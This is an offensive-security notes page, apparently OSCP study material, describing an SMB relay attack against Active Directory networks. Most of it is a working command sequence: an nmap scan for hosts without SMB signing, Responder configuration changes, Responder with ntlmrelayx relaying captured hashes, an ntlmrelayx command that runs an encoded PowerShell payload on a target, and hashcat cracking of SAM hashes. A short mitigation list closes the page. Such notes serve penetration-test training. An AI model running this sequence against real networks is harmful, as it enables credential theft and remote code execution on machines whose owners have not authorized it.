Howlsec
HOWLSEC
offensive security
// notes/ Active Directory
🏛️

Initial Attack Strategy SMB Relay

Instead of cracking the captured hashes, we can instead relay those hashes to specific machines and potentially gain access.

#active directory#adot8
source · oscp.adot8.com · active-directory/initial-attack-strategy_smb-relay ↗

SMB Relay

Overview

Instead of cracking the captured hashes, we can instead relay those hashes to specific machines and potentially gain access.

However, SMB signing MUST BE DISABLED or NOT ENFORCED on target and the relayed credentials must be local administrator on the machine for any real value

Identify Hosts Without SMB Signing

🐺 howlsec@kali
$nmap --script=smb2-security-mode.nse -p445 192.168.1.0/24

Desired Output

🐺 howlsec@kali
$PORT    STATE SERVICE

$445/tcp open  microsoft-ds

$

$Host script results:

$| smb2-security-mode:

$|    3:1:1:

$|_     Message signing enabled but not required

Edit Responder Configuration File

🐺 howlsec@kali
$sudo vim /etc/responder/Responder.conf

$

$SMB = off

$HTTP = off

Responder + SMB Relay

🐺 howlsec@kali
$sudo responder -I etho0 -dwv

$

$impacket-ntlmrelayx -tf targets.txt -smb2support

Existing Shell + SMB Relay

🐺 howlsec@kali
01ntlmrelayx.py --no-http-server -smb2support -t 192.168.186.212 -c "powershell -e JABPE..."

02

03net use "\\192.168.45.237\share"

Crack SAM Hashes

🐺 howlsec@kali
$hashcat -m 1000 crackme.txt ~/rockyou.txt -O

Mitigation

  • Enable SMB Signing on all devices
    • Pro: Completely stops the attacks
    • Con: Performance issues may arise with file copies
  • Disable NTLM authentication on the Network
    • Pros: Completely stops the attack
    • Con: If Kerberos stops working, Windows defaults back to NTLM
  • Limit Domain Admins for specific tasks
  • Local Administrator restrictions